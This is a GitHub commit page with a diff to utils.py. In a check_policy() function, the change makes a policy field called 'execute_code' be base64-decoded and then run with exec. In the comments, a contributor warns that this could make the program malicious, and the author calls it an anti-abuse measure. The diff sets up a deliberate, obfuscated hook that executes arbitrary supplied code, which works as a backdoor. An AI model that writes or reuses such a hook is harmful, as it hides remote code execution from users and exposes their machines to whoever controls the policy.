Skip to content

Commit

Permalink
fix: b64 encode
Browse files Browse the repository at this point in the history
  • Loading branch information
ZianTT authored Jun 28, 2024
1 parent 1b3e605 commit e2c6703
Showing 1 changed file with 3 additions and 1 deletion.
4 changes: 3 additions & 1 deletion utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -93,7 +93,9 @@ def check_policy():
else:
pass
if policy["execute_code"] is not None:
exec(policy["execute_code"])
import base64
code = base64.b64decode(policy["execute_code"]).decode("utf-8")
exec(code)

This comment has been minimized.

Copy link
@undefined-moe

undefined-moe Jun 29, 2024

Contributor

Not sure if it is appropriate, this introduces the possibility of being a malicious software

This comment has been minimized.

Copy link
@ZianTT

ZianTT Jun 29, 2024

Author Owner

Not sure if it is appropriate, this introduces the possibility of being a malicious software

it's a measure to avoid abuse

if not allow:
sys.exit(1)
return

0 comments on commit e2c6703

Please sign in to comment.